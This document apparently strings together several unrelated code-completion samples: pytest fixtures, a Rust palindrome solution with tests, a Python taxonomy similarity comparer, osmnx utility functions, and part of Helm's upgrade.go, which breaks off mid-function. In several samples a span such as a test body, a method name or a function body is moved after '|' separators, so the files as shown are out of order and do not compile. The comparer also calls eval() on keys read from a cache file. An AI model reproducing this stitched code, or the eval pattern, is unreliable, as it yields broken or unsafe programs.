out = tmp_path / "infile1"
out.write_text("in1")
return out
@pytest.fixture
def infile2(tmp_path):
out = tmp_path / "infile2"
out.write_text("in2")
return out
def create_dead_link(path):
target = Path(gettempdir()) / "__NoSuchFile__"
target.write_text("")
link = Path(path)
if link.exists() or link.is_symlink():
link.unlink()
link.symlink_to(target)
target.unlink()
| """Process with mixed types of input"""
input = "invar:var, infile:file"
output = "outfile:file:{{in.invar}}"
script = "echo {{in.invar}} > {{out.outfile}}" |
s0005_longest_palindromic_substring.rs | /**
* [5] Longest Palindromic Substring
*
* Given a string s, return the longest palindromic substring in s.
*
* Example 1:
*
* Input: s = "babad"
* Output: "bab"
* Note: "aba" is also a valid answer.
*
* Example 2:
*
* Input: s = "cbbd"
* Output: "bb"
*
* Example 3:
*
* Input: s = "a"
* Output: "a"
*
* Example 4:
*
* Input: s = "ac"
* Output: "a"
*
*
* Constraints:
*
* 1 <= s.length <= 1000
* s consist of only digits and English letters (lower-case and/or upper-case),
*
*/
pub struct Solution {}
// problem: https://leetcode.com/problems/longest-palindromic-substring/
// discuss: https://leetcode.com/problems/longest-palindromic-substring/discuss/?currentPage=1&orderBy=most_votes&query=
// submission codes start here
impl Solution {
pub fn longest_palindrome(s: String) -> String {
let chars: Vec<char> = s.chars().collect();
if chars.len() < 2 {
return s;
}
let mut begin = 0;
let mut end = 0;
for s in 0..chars.len() {
for e in s + 1..chars.len() {
if Self::is_palindrome(&chars, s, e) && e - s > end - begin {
end = e;
begin = s;
}
}
}
s[begin..end + 1].into()
}
fn is_palindrome(s: &Vec<char>, begin: usize, end: usize) -> bool {
let mut end = end;
let mut begin = begin;
while begin < end {
if s[begin] != s[end] {
return false;
}
begin += 1;
end -= 1;
}
true
}
}
// submission codes end
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_0005_example_1() {
let s = "babad".to_string();
assert_eq!(Solution::longest_palindrome(s), "bab".to_string());
}
#[test]
fn test_0005_example_2() |
#[test]
fn test_0005_example_3() {
let s = "a".to_string();
assert_eq!(Solution::longest_palindrome(s), "a".to_string());
}
#[test]
fn test_0005_example_4() {
let s = "ac".to_string();
assert_eq!(Solution::longest_palindrome(s), "a".to_string());
}
#[test]
fn test_0005_empty_string() {
let s = String::new();
assert_eq!(Solution::longest_palindrome(s), String::new());
}
}
| {
let s = "cbbd".to_string();
assert_eq!(Solution::longest_palindrome(s), "bb".to_string());
} |
elementComparer.py | from abc import ABCMeta
from abc import abstractmethod
from typing import Any
import enum
import networkx as nx
from networkx import Graph
from qhana.backend.taxonomie import Taxonomie
from qhana.backend.logger import Logger
import numpy as np
from qhana.backend.logger import Logger
import os
import json
import math
from qhana.backend.timer import Timer
"""
Defines an enum to list up all available element comparer
"""
class ElementComparerType(enum.Enum):
wuPalmer = "wuPalmer"
timeTanh = "timeTanh"
"""
Returns the name of the given ElementComparerType.
"""
@staticmethod
def get_name(elementComparerType) -> str:
name = ""
if elementComparerType == ElementComparerType.wuPalmer:
name += "WuPalmer"
elif elementComparerType == ElementComparerType.timeTanh:
name += "TimeTanh"
else:
Logger.error("No name for element comparer \"" + str(elementComparerType) + "\" specified")
raise ValueError("No name for element comparer \"" + str(elementComparerType) + "\" specified")
return name
"""
Returns the description of the given ElementComparerType.
"""
@staticmethod
def get_description(elementComparerType) -> str:
description = ""
if elementComparerType == ElementComparerType.wuPalmer:
description += "Compares two elements based on a taxonomy " \
+ "using the wu palmer similarity measure."
elif elementComparerType == ElementComparerType.timeTanh:
description += "Compares two timecodes using the tanh function: " \
+ "tanh(abs(a-b) / 7200). We normalize this function to 7200 seconds."
else:
Logger.error("No description for element comparer \"" + str(elementComparerType) + "\" specified")
raise ValueError("No description for element comparer \"" + str(elementComparerType) + "\" specified")
return description
"""
Represents the abstract element comprarer base class
"""
class ElementComparer(metaclass=ABCMeta):
"""
Returns the comparison value of first and second
element based on the giben base
"""
@abstractmethod
def compare(self, first: Any, second: Any, base: Any) -> float:
pass
"""
Creates a full cache on file, i.e. calculates all pariwise similarities
and safes the result in a file
"""
@abstractmethod
def create_cache(self, base: Any) -> None:
pass
"""
Represents the factory to create an element comparer
"""
class ElementComparerFactory:
"""
Static method for creating an element comparer
"""
@staticmethod
def create(type: ElementComparerType) -> ElementComparer:
if type == ElementComparerType.wuPalmer:
return WuPalmer()
elif type == ElementComparerType.timeTanh:
return TimeTanh()
else:
raise Exception("Unknown type of element comparer")
return
"""
Represents the conventional wu palmer similarity measure
"""
class WuPalmer(ElementComparer):
"""
Constructor.
"""
def __init__(self):
self.cache = None
return
"""
Applies try to use cache first if available, if not,
run compare_inner
"""
def compare(self, first: str, second: str, base: Taxonomie) -> float:
# check if cache is available
cache = dict()
if self.cache is None:
if os.path.isdir("cache") != False:
fileName = "cache/" + base.name + ".json"
if os.path.isfile(fileName) != False:
self.cache = self.__loads_json(fileName)
cache = self.cache
else:
cache = self.cache
if (first, second) in cache:
if (first, second) in cache:
return self.cache[(first, second)]
return self.compare_inner(first, second, base)
"""
Applies wu palmer similarity measure on two taxonomie elements
"""
def compare_inner(self, first: str, second: str, base: Taxonomie) -> float:
# Get directed graph
d_graph = base.graph
# Get undirected graph
ud_graph = d_graph.to_undirected()
# Get lowest reachable node from both
lowest_common_ancestor = nx.algorithms.lowest_common_ancestors.lowest_common_ancestor(d_graph, first, second)
# Get root of graph
root = [n for n,d in d_graph.in_degree() if d == 0][0]
# Count edges - weight is 1 per default
d1 = nx.algorithms.shortest_paths.generic.shortest_path_length(ud_graph, first, lowest_common_ancestor)
d2 = nx.algorithms.shortest_paths.generic.shortest_path_length(ud_graph, second, lowest_common_ancestor)
d3 = nx.algorithms.shortest_paths.generic.shortest_path_length(ud_graph, lowest_common_ancestor, root)
# if first and second, both is the root
if d1 + d2 + 2 * d3 == 0.0:
return 0.0
return 2 * d3 / (d1 + d2 + 2 * d3)
"""
Serializes a dict object with 2-tuples as key to json file
"""
def | (self, dic, fileName) -> None:
with open(fileName, "w") as f:
k = dic.keys()
v = dic.values()
k1 = [str(i) for i in k]
json.dump(json.dumps(dict(zip(*[k1,v]))),f)
"""
Deserializes a json file to a dict object with 2-tuples as key
"""
def __loads_json(self, fileName) -> dict:
with open(fileName, "r") as f:
data = json.load(f)
dic = json.loads(data)
k = dic.keys()
v = dic.values()
k1 = [eval(i) for i in k]
return dict(zip(*[k1,v]))
"""
Creates the cache for WuPalmer similarity, i.e. calculates pairwise values for
taxonomy entries
"""
def create_cache(self, base: Taxonomie) -> None:
fileName = "cache/" + base.name + ".json"
# check if cache already exist
if os.path.isfile(fileName) and os.path.exists(fileName):
Logger.debug("Cache for " + base.name + " already exist")
return
# format ((first taxonomy entry, second taxonomy entry), value)
cache = dict()
amount = int(math.pow(len(base.graph.nodes()), 2))
index = 1
everyNSteps = 100
timer: Timer = Timer()
timer.start()
for first in base.graph.nodes():
for second in base.graph.nodes():
cache[(first, second)] = self.compare_inner(first, second, base)
index += 1
if index % everyNSteps == 0:
Logger.debug(str(index) + " from " + str(amount))
if os.path.isdir("cache") == False:
os.mkdir("cache")
self.__dump_json(cache, fileName)
timer.stop()
return
"""
Represents a timecode comparer using the tanh function.
"""
class TimeTanh(ElementComparer):
"""
Applies the tanh function for comparing timecodes.
"""
def compare(self, first: int, second: int, base: Any) -> float:
return np.tanh(np.abs( (first - second)) / 7200.0)
| __dump_json |
utils.py | import sys
import os
import datetime as dt
import unicodedata
import networkx as nx
import numpy as np
import logging as lg
from . import settings
def citation():
"""
Print the OSMnx package's citation information.
Boeing, G. 2017. OSMnx: New Methods for Acquiring, Constructing, Analyzing,
and Visualizing Complex Street Networks. Computers, Environment and Urban
Systems, 65(126-139). https://doi.org/10.1016/j.compenvurbsys.2017.05.004
"""
cite = ("To cite OSMnx, use:\n\n"
"Boeing, G. 2017. OSMnx: New Methods for Acquiring, Constructing, Analyzing, "
"and Visualizing Complex Street Networks. Computers, Environment and Urban "
"Systems, 65(126-139). https://doi.org/10.1016/j.compenvurbsys.2017.05.004"
"\n\n"
"BibTeX entry for LaTeX users:\n\n"
"@article{boeing_osmnx_2017,\n"
" title = {{OSMnx}: {New} {Methods} for {Acquiring}, {Constructing}, {Analyzing}, and {Visualizing} {Complex} {Street} {Networks}},\n"
" volume = {65},\n"
" doi = {10.1016/j.compenvurbsys.2017.05.004},\n"
" number = {126-139},\n"
" journal = {Computers, Environment and Urban Systems},\n"
" author = {Boeing, Geoff},\n"
" year = {2017}\n"
"}")
print(cite)
def make_str(value):
"""
Convert a passed-in value to unicode if Python 2, or string if Python 3.
Parameters
----------
value : any
the value to convert to unicode/string
Returns
-------
unicode or string
"""
if (sys.version_info > (3, 0)):
# python 3.x has no unicode type, so if error, use str type
return str(value)
else:
# for python 2.x compatibility, use unicode
return unicode(value)
def config(data_folder=settings.data_folder,
logs_folder=settings.logs_folder,
imgs_folder=settings.imgs_folder,
cache_folder=settings.cache_folder,
use_cache=settings.use_cache,
log_file=settings.log_file,
log_console=settings.log_console,
log_level=settings.log_level,
log_name=settings.log_name,
log_filename=settings.log_filename,
useful_tags_node=settings.useful_tags_node,
useful_tags_path=settings.useful_tags_path,
osm_xml_node_attrs=settings.osm_xml_node_attrs,
osm_xml_node_tags=settings.osm_xml_node_tags,
osm_xml_way_attrs=settings.osm_xml_way_attrs,
osm_xml_way_tags=settings.osm_xml_way_tags,
default_access=settings.default_access,
default_crs=settings.default_crs,
default_user_agent=settings.default_user_agent,
default_referer=settings.default_referer,
default_accept_language=settings.default_accept_language,
nominatim_endpoint=settings.nominatim_endpoint,
nominatim_key=settings.nominatim_key,
overpass_endpoint=settings.overpass_endpoint,
all_oneway=settings.all_oneway):
"""
Configure osmnx by setting the default global vars to desired values.
Parameters
---------
data_folder : string
where to save and load data files
logs_folder : string
where to write the log files
imgs_folder : string
where to save figures
cache_folder : string
where to save the http response cache
use_cache : bool
if True, use a local cache to save/retrieve http responses instead of
calling API repetitively for the same request URL
log_file : bool
if true, save log output to a log file in logs_folder
log_console : bool
if true, print log output to the console
log_level : int
one of the logger.level constants
log_name : string
name of the logger
useful_tags_node : list
a list of useful OSM tags to attempt to save from node elements
useful_tags_path : list
a list of useful OSM tags to attempt to save from path elements
default_access : string
default filter for OSM "access" key
default_crs : string
default CRS to set when creating graphs
default_user_agent : string
HTTP header user-agent
default_referer : string
HTTP header referer
default_accept_language : string
HTTP header accept-language
nominatim_endpoint : string
which API endpoint to use for nominatim queries
nominatim_key : string
your API key, if you are using an endpoint that requires one
overpass_endpoint : string
which API endpoint to use for overpass queries
all_oneway : boolean
if True, forces all paths to be loaded as oneway ways, preserving
the original order of nodes stored in the OSM way XML.
Returns
-------
None
"""
# set each global variable to the passed-in parameter value
settings.use_cache = use_cache
settings.cache_folder = cache_folder
settings.data_folder = data_folder
settings.imgs_folder = imgs_folder
settings.logs_folder = logs_folder
settings.log_console = log_console
settings.log_file = log_file
settings.log_level = log_level
settings.log_name = log_name
settings.log_filename = log_filename
settings.useful_tags_node = useful_tags_node
settings.useful_tags_path = useful_tags_path
settings.useful_tags_node = list(set(useful_tags_node + osm_xml_node_attrs + osm_xml_node_tags))
settings.useful_tags_path = list(set(useful_tags_path + osm_xml_way_attrs + osm_xml_way_tags))
settings.osm_xml_node_attrs = osm_xml_node_attrs
settings.osm_xml_node_tags = osm_xml_node_tags
settings.osm_xml_way_attrs = osm_xml_way_attrs
settings.osm_xml_way_tags = osm_xml_way_tags
settings.default_access = default_access
settings.default_crs = default_crs
settings.default_user_agent = default_user_agent
settings.default_referer = default_referer
settings.default_accept_language = default_accept_language
settings.nominatim_endpoint = nominatim_endpoint
settings.nominatim_key = nominatim_key
settings.overpass_endpoint = overpass_endpoint
settings.all_oneway = all_oneway
# if logging is turned on, log that we are configured
if settings.log_file or settings.log_console:
log('Configured osmnx')
def great_circle_vec(lat1, lng1, lat2, lng2, earth_radius=6371009):
"""
Vectorized function to calculate the great-circle distance between two
points or between vectors of points, using haversine.
Parameters
----------
lat1 : float or array of float
lng1 : float or array of float
lat2 : float or array of float
lng2 : float or array of float
earth_radius : numeric
radius of earth in units in which distance will be returned (default is
meters)
Returns
-------
distance : float or vector of floats
distance or vector of distances from (lat1, lng1) to (lat2, lng2) in
units of earth_radius
"""
phi1 = np.deg2rad(lat1)
phi2 = np.deg2rad(lat2)
d_phi = phi2 - phi1
theta1 = np.deg2rad(lng1)
theta2 = np.deg2rad(lng2)
d_theta = theta2 - theta1
h = np.sin(d_phi / 2) ** 2 + np.cos(phi1) * np.cos(phi2) * np.sin(d_theta / 2) ** 2
h = np.minimum(1.0, h) # protect against floating point errors
arc = 2 * np.arcsin(np.sqrt(h))
# return distance in units of earth_radius
distance = arc * earth_radius
return distance
def euclidean_dist_vec(y1, x1, y2, x2):
"""
Vectorized function to calculate the euclidean distance between two points
or between vectors of points.
Parameters
----------
y1 : float or array of float
x1 : float or array of float
y2 : float or array of float
x2 : float or array of float
Returns
-------
distance : float or array of float
distance or vector of distances from (x1, y1) to (x2, y2) in graph units
"""
# euclid's formula
distance = ((x1 - x2) ** 2 + (y1 - y2) ** 2) ** 0.5
return distance
def log(message, level=None, name=None, filename=None):
"""
Write a message to the log file and/or print to the the console.
Parameters
----------
message : string
the content of the message to log
level : int
one of the logger.level constants
name : string
name of the logger
filename : string
name of the log file
Returns
-------
None
"""
if level is None:
level = settings.log_level
if name is None:
name = settings.log_name
if filename is None:
filename = settings.log_filename
# if logging to file is turned on
if settings.log_file:
# get the current logger (or create a new one, if none), then log
# message at requested level
logger = get_logger(level=level, name=name, filename=filename)
if level == lg.DEBUG:
logger.debug(message)
elif level == lg.INFO:
logger.info(message)
elif level == lg.WARNING:
logger.warning(message)
elif level == lg.ERROR:
logger.error(message)
# if logging to console is turned on, convert message to ascii and print to
# the console
if settings.log_console:
# capture current stdout, then switch it to the console, print the
# message, then switch back to what had been the stdout. this prevents
# logging to notebook - instead, it goes to console
standard_out = sys.stdout
sys.stdout = sys.__stdout__
# convert message to ascii for console display so it doesn't break
# windows terminals
message = unicodedata.normalize('NFKD', make_str(message)).encode('ascii', errors='replace').decode()
print(message)
sys.stdout = standard_out
def get_logger(level=None, name=None, filename=None):
|
def get_unique_nodes_ordered_from_way(way_edges_df):
"""
Function to recover the original order of nodes from a dataframe
of edges associated with a single OSM way.
Parameters
----------
way_edges_df : pandas.DataFrame()
Dataframe containing columns 'u' and 'v' corresponding to
origin/desitination nodes.
Returns
-------
unique_ordered_nodes : list
An ordered list of unique node IDs
NOTE: If the edges do not all connect (e.g. [(1, 2), (2,3),
(10, 11), (11, 12), (12, 13)]), then this method will return
only those nodes associated with the largest component of
connected edges, even if subsequent connected chunks are contain
more total nodes. This is done to ensure a proper topological
representation of nodes in the XML way records because if there
are unconnected components, the sorting algorithm cannot recover
their original order. I don't believe that we would ever encounter
this kind of disconnected structure of nodes within a given way,
but as best I could tell it is not explicitly forbidden in the
OSM XML design schema. I'm using a print statement right now to
tell the user whether or not any nodes have been dropped and
how many.
"""
G = nx.MultiDiGraph()
all_nodes = list(way_edges_df['u'].values) + \
list(way_edges_df['v'].values)
G.add_nodes_from(all_nodes)
G.add_edges_from(way_edges_df[['u', 'v']].values)
wccs = nx.weakly_connected_components(G)
largest_wcc = max(wccs, key=len)
node_subset = set(largest_wcc)
# NOTE: this code (L387-403) is copied from geo_utils.py
# which cannot be imported here without triggering a
# circular import error. This should be fixed next time the
# code base is refactored
# copy nodes into new graph
G2 = G.__class__()
G2.add_nodes_from((n, G.nodes[n]) for n in node_subset)
# copy edges to new graph, including parallel edges
if G2.is_multigraph:
G2.add_edges_from((n, nbr, key, d)
for n, nbrs in G.adj.items() if n in node_subset
for nbr, keydict in nbrs.items() if nbr in node_subset
for key, d in keydict.items())
else:
G2.add_edges_from((n, nbr, d)
for n, nbrs in G.adj.items() if n in node_subset
for nbr, d in nbrs.items() if nbr in node_subset)
# update graph attribute dict, and return graph
G2.graph.update(G.graph)
unique_ordered_nodes = list(nx.topological_sort(G2))
num_unique_nodes = len(np.unique(all_nodes))
if len(unique_ordered_nodes) < num_unique_nodes:
print('Recovered order for {0} of {1} nodes'.format(
len(unique_ordered_nodes), num_unique_nodes))
return unique_ordered_nodes | """
Create a logger or return the current one if already instantiated.
Parameters
----------
level : int
one of the logger.level constants
name : string
name of the logger
filename : string
name of the log file
Returns
-------
logger.logger
"""
if level is None:
level = settings.log_level
if name is None:
name = settings.log_name
if filename is None:
filename = settings.log_filename
logger = lg.getLogger(name)
# if a logger with this name is not already set up
if not getattr(logger, 'handler_set', None):
# get today's date and construct a log filename
todays_date = dt.datetime.today().strftime('%Y_%m_%d')
log_filename = os.path.join(settings.logs_folder, '{}_{}.log'.format(filename, todays_date))
# if the logs folder does not already exist, create it
if not os.path.exists(settings.logs_folder):
os.makedirs(settings.logs_folder)
# create file handler and log formatter and set them up
handler = lg.FileHandler(log_filename, encoding='utf-8')
formatter = lg.Formatter('%(asctime)s %(levelname)s %(name)s %(message)s')
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(level)
logger.handler_set = True
return logger |
upgrade.go | /*
Copyright The Helm Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package action
import (
"bytes"
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/pkg/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/cli-runtime/pkg/resource"
"helm.sh/helm/v3/pkg/chart"
"helm.sh/helm/v3/pkg/chartutil"
"helm.sh/helm/v3/pkg/kube"
"helm.sh/helm/v3/pkg/postrender"
"helm.sh/helm/v3/pkg/release"
"helm.sh/helm/v3/pkg/releaseutil"
"helm.sh/helm/v3/pkg/storage/driver"
)
// Upgrade is the action for upgrading releases.
//
// It provides the implementation of 'helm upgrade'.
type Upgrade struct {
cfg *Configuration
ChartPathOptions
// Install is a purely informative flag that indicates whether this upgrade was done in "install" mode.
//
// Applications may use this to determine whether this Upgrade operation was done as part of a
// pure upgrade (Upgrade.Install == false) or as part of an install-or-upgrade operation
// (Upgrade.Install == true).
//
// Setting this to `true` will NOT cause `Upgrade` to perform an install if the release does not exist.
// That process must be handled by creating an Install action directly. See cmd/upgrade.go for an
// example of how this flag is used.
Install bool
// Devel indicates that the operation is done in devel mode.
Devel bool
// Namespace is the namespace in which this operation should be performed.
Namespace string
// SkipCRDs skips installing CRDs when install flag is enabled during upgrade
SkipCRDs bool
// Timeout is the timeout for this operation
Timeout time.Duration
// Wait determines whether the wait operation should be performed after the upgrade is requested.
Wait bool
// WaitForJobs determines whether the wait operation for the Jobs should be performed after the upgrade is requested.
WaitForJobs bool
// DisableHooks disables hook processing if set to true.
DisableHooks bool
// DryRun controls whether the operation is prepared, but not executed.
// If `true`, the upgrade is prepared but not performed.
DryRun bool
// Force will, if set to `true`, ignore certain warnings and perform the upgrade anyway.
//
// This should be used with caution.
Force bool
// ResetValues will reset the values to the chart's built-ins rather than merging with existing.
ResetValues bool
// ReuseValues will re-use the user's last supplied values.
ReuseValues bool
// Recreate will (if true) recreate pods after a rollback.
Recreate bool
// MaxHistory limits the maximum number of revisions saved per release
MaxHistory int
// Atomic, if true, will roll back on failure.
Atomic bool
// CleanupOnFail will, if true, cause the upgrade to delete newly-created resources on a failed update.
CleanupOnFail bool
// SubNotes determines whether sub-notes are rendered in the chart.
SubNotes bool
// Description is the description of this operation
Description string
// PostRender is an optional post-renderer
//
// If this is non-nil, then after templates are rendered, they will be sent to the
// post renderer before sending to the Kubernetes API server.
PostRenderer postrender.PostRenderer
// DisableOpenAPIValidation controls whether OpenAPI validation is enforced.
DisableOpenAPIValidation bool
// Get missing dependencies
DependencyUpdate bool
// Lock to control raceconditions when the process receives a SIGTERM
Lock sync.Mutex
}
type resultMessage struct {
r *release.Release
e error
}
// NewUpgrade creates a new Upgrade object with the given configuration.
func NewUpgrade(cfg *Configuration) *Upgrade {
return &Upgrade{
cfg: cfg,
}
}
// Run executes the upgrade on the given release
func (u *Upgrade) Run(name string, chart *chart.Chart, vals map[string]interface{}) (*release.Release, error) {
ctx := context.Background()
return u.RunWithContext(ctx, name, chart, vals)
}
// Run executes the upgrade on the given release with context.
func (u *Upgrade) RunWithContext(ctx context.Context, name string, chart *chart.Chart, vals map[string]interface{}) (*release.Release, error) {
if err := u.cfg.KubeClient.IsReachable(); err != nil {
return nil, err
}
// Make sure if Atomic is set, that wait is set as well. This makes it so
// the user doesn't have to specify both
u.Wait = u.Wait || u.Atomic
if err := chartutil.ValidateReleaseName(name); err != nil {
return nil, errors.Errorf("release name is invalid: %s", name)
}
u.cfg.Log("preparing upgrade for %s", name)
currentRelease, upgradedRelease, err := u.prepareUpgrade(name, chart, vals)
if err != nil {
return nil, err
}
u.cfg.Releases.MaxHistory = u.MaxHistory
u.cfg.Log("performing update for %s", name)
res, err := u.performUpgrade(ctx, currentRelease, upgradedRelease)
if err != nil {
return res, err
}
if !u.DryRun {
u.cfg.Log("updating status for upgraded release for %s", name)
if err := u.cfg.Releases.Update(upgradedRelease); err != nil {
return res, err
}
}
return res, nil
}
// prepareUpgrade builds an upgraded release for an upgrade operation.
func (u *Upgrade) prepareUpgrade(name string, chart *chart.Chart, vals map[string]interface{}) (*release.Release, *release.Release, error) {
if chart == nil {
return nil, nil, errMissingChart
}
// finds the last non-deleted release with the given name
lastRelease, err := u.cfg.Releases.Last(name)
if err != nil {
// to keep existing behavior of returning the "%q has no deployed releases" error when an existing release does not exist
if errors.Is(err, driver.ErrReleaseNotFound) {
return nil, nil, driver.NewErrNoDeployedReleases(name)
}
return nil, nil, err
}
// Concurrent `helm upgrade`s will either fail here with `errPending` or when creating the release with "already exists". This should act as a pessimistic lock.
if lastRelease.Info.Status.IsPending() {
return nil, nil, errPending
}
var currentRelease *release.Release
if lastRelease.Info.Status == release.StatusDeployed {
// no need to retrieve the last deployed release from storage as the last release is deployed
currentRelease = lastRelease
} else {
// finds the deployed release with the given name
currentRelease, err = u.cfg.Releases.Deployed(name)
if err != nil {
if errors.Is(err, driver.ErrNoDeployedReleases) &&
(lastRelease.Info.Status == release.StatusFailed || lastRelease.Info.Status == release.StatusSuperseded) {
currentRelease = lastRelease
} else {
return nil, nil, err
}
}
}
// determine if values will be reused
vals, err = u.reuseValues(chart, currentRelease, vals)
if err != nil {
return nil, nil, err
}
if err := chartutil.ProcessDependencies(chart, vals); err != nil {
return nil, nil, err
}
// Increment revision count. This is passed to templates, and also stored on
// the release object.
revision := lastRelease.Version + 1
options := chartutil.ReleaseOptions{
Name: name,
Namespace: currentRelease.Namespace,
Revision: revision,
IsUpgrade: true,
}
caps, err := u.cfg.getCapabilities()
if err != nil {
return nil, nil, err
}
valuesToRender, err := chartutil.ToRenderValues(chart, vals, options, caps)
if err != nil {
return nil, nil, err
}
hooks, manifestDoc, notesTxt, err := u.cfg.renderResources(chart, valuesToRender, "", "", u.SubNotes, false, false, u.PostRenderer, u.DryRun)
if err != nil {
return nil, nil, err
}
// Store an upgraded release.
upgradedRelease := &release.Release{
Name: name,
Namespace: currentRelease.Namespace,
Chart: chart,
Config: vals,
Info: &release.Info{
FirstDeployed: currentRelease.Info.FirstDeployed,
LastDeployed: Timestamper(),
Status: release.StatusPendingUpgrade,
Description: "Preparing upgrade", // This should be overwritten later.
},
Version: revision,
Manifest: manifestDoc.String(),
Hooks: hooks,
}
if len(notesTxt) > 0 {
upgradedRelease.Info.Notes = notesTxt
}
err = validateManifest(u.cfg.KubeClient, manifestDoc.Bytes(), !u.DisableOpenAPIValidation)
return currentRelease, upgradedRelease, err
}
func (u *Upgrade) performUpgrade(ctx context.Context, originalRelease, upgradedRelease *release.Release) (*release.Release, error) {
current, err := u.cfg.KubeClient.Build(bytes.NewBufferString(originalRelease.Manifest), false)
if err != nil {
// Checking for removed Kubernetes API error so can provide a more informative error message to the user
// Ref: https://github.com/helm/helm/issues/7219
if strings.Contains(err.Error(), "unable to recognize \"\": no matches for kind") {
return upgradedRelease, errors.Wrap(err, "current release manifest contains removed kubernetes api(s) for this "+
"kubernetes version and it is therefore unable to build the kubernetes "+
"objects for performing the diff. error from kubernetes")
}
return upgradedRelease, errors.Wrap(err, "unable to build kubernetes objects from current release manifest")
}
target, err := u.cfg.KubeClient.Build(bytes.NewBufferString(upgradedRelease.Manifest), !u.DisableOpenAPIValidation)
if err != nil {
return upgradedRelease, errors.Wrap(err, "unable to build kubernetes objects from new release manifest")
}
// It is safe to use force only on target because these are resources currently rendered by the chart.
err = target.Visit(setMetadataVisitor(upgradedRelease.Name, upgradedRelease.Namespace, true))
if err != nil {
return upgradedRelease, err
}
// Do a basic diff using gvk + name to figure out what new resources are being created so we can validate they don't already exist
existingResources := make(map[string]bool)
for _, r := range current {
existingResources[objectKey(r)] = true
}
var toBeCreated kube.ResourceList
for _, r := range target {
if !existingResources[objectKey(r)] {
toBeCreated = append(toBeCreated, r)
}
}
toBeUpdated, err := existingResourceConflict(toBeCreated, upgradedRelease.Name, upgradedRelease.Namespace)
if err != nil {
return nil, errors.Wrap(err, "rendered manifests contain a resource that already exists. Unable to continue with update")
}
toBeUpdated.Visit(func(r *resource.Info, err error) error {
if err != nil {
return err
}
current.Append(r)
return nil
})
if u.DryRun {
u.cfg.Log("dry run for %s", upgradedRelease.Name)
if len(u.Description) > 0 {
upgradedRelease.Info.Description = u.Description
} else {
upgradedRelease.Info.Description = "Dry run complete"
}
return upgradedRelease, nil
}
u.cfg.Log("creating upgraded release for %s", upgradedRelease.Name)
if err := u.cfg.Releases.Create(upgradedRelease); err != nil {
return nil, err
}
rChan := make(chan resultMessage)
go u.releasingUpgrade(rChan, upgradedRelease, current, target, originalRelease)
go u.handleContext(ctx, rChan, upgradedRelease)
result := <-rChan
return result.r, result.e
}
// Function used to lock the Mutex, this is important for the case when the atomic flag is set.
// In that case the upgrade will finish before the rollback is finished so it is necessary to wait for the rollback to finish.
// The rollback will be trigger by the function failRelease
func (u *Upgrade) reportToPerformUpgrade(c chan<- resultMessage, rel *release.Release, created kube.ResourceList, err error) {
u.Lock.Lock()
if err != nil {
rel, err = u.failRelease(rel, created, err)
}
c <- resultMessage{r: rel, e: err}
u.Lock.Unlock()
}
// Setup listener for SIGINT and SIGTERM
func (u *Upgrade) handleContext(ctx context.Context, c chan<- resultMessage, upgradedRelease *release.Release) {
go func() {
<-ctx.Done()
err := ctx.Err()
// when the atomic flag is set the ongoing release finish first and doesn't give time for the rollback happens.
u.reportToPerformUpgrade(c, upgradedRelease, kube.ResourceList{}, err)
}()
}
func (u *Upgrade) releasingUpgrade(c chan<- resultMessage, upgradedRelease *release.Release, current kube.ResourceList, target kube.ResourceList, originalRelease *release.Release) {
// pre-upgrade hooks
if !u.DisableHooks {
if err := u.cfg.execHook(upgradedRelease, release.HookPreUpgrade, u.Timeout); err != nil {
u.reportToPerformUpgrade(c, upgradedRelease, kube.ResourceList{}, fmt.Errorf("pre-upgrade hooks failed: %s", err))
return
}
} else {
u.cfg.Log("upgrade hooks disabled for %s", upgradedRelease.Name)
}
results, err := u.cfg.KubeClient.Update(current, target, u.Force)
if err != nil {
u.cfg.recordRelease(originalRelease)
u.reportToPerformUpgrade(c, upgradedRelease, results.Created, err)
return
}
if u.Recreate {
// NOTE: Because this is not critical for a release to succeed, we just
// log if an error occurs and continue onward. If we ever introduce log
// levels, we should make these error level logs so users are notified
// that they'll need to go do the cleanup on their own
if err := recreate(u.cfg, results.Updated); err != nil {
u.cfg.Log(err.Error())
}
}
if u.Wait {
if u.WaitForJobs {
if err := u.cfg.KubeClient.WaitWithJobs(target, u.Timeout); err != nil {
u.cfg.recordRelease(originalRelease)
u.reportToPerformUpgrade(c, upgradedRelease, results.Created, err)
return
}
} else {
if err := u.cfg.KubeClient.Wait(target, u.Timeout); err != nil {
u.cfg.recordRelease(originalRelease)
u.reportToPerformUpgrade(c, upgradedRelease, results.Created, err)
return
}
}
}
// post-upgrade hooks
if !u.DisableHooks {
if err := u.cfg.execHook(upgradedRelease, release.HookPostUpgrade, u.Timeout); err != nil {
u.reportToPerformUpgrade(c, upgradedRelease, results.Created, fmt.Errorf("post-upgrade hooks failed: %s", err))
return
}
}
originalRelease.Info.Status = release.StatusSuperseded
u.cfg.recordRelease(originalRelease)
upgradedRelease.Info.Status = release.StatusDeployed
if len(u.Description) > 0 {
upgradedRelease.Info.Description = u.Description
} else {
upgradedRelease.Info.Description = "Upgrade complete"
}
u.reportToPerformUpgrade(c, upgradedRelease, nil, nil)
}
func (u *Upgrade) failRelease(rel *release.Release, created kube.ResourceList, err error) (*release.Release, error) {
msg := fmt.Sprintf("Upgrade %q failed: %s", rel.Name, err)
u.cfg.Log("warning: %s", msg)
rel.Info.Status = release.StatusFailed
rel.Info.Description = msg
u.cfg.recordRelease(rel)
if u.CleanupOnFail && len(created) > 0 {
u.cfg.Log("Cleanup on fail set, cleaning up %d resources", len(created))
_, errs := u.cfg.KubeClient.Delete(created)
if errs != nil {
var errorList []string
for _, e := range errs {
errorList = append(errorList, e.Error())
}
return rel, errors.Wrapf(fmt.Errorf("unable to cleanup resources: %s", strings.Join(errorList, ", ")), "an error occurred while cleaning up resources. original upgrade error: %s", err)
}
u.cfg.Log("Resource cleanup complete")
}
if u.Atomic {
u.cfg.Log("Upgrade failed and atomic is set, rolling back to last successful release")
// As a protection, get the last successful release before rollback.
// If there are no successful releases, bail out
hist := NewHistory(u.cfg)
fullHistory, herr := hist.Run(rel.Name)
if herr != nil {
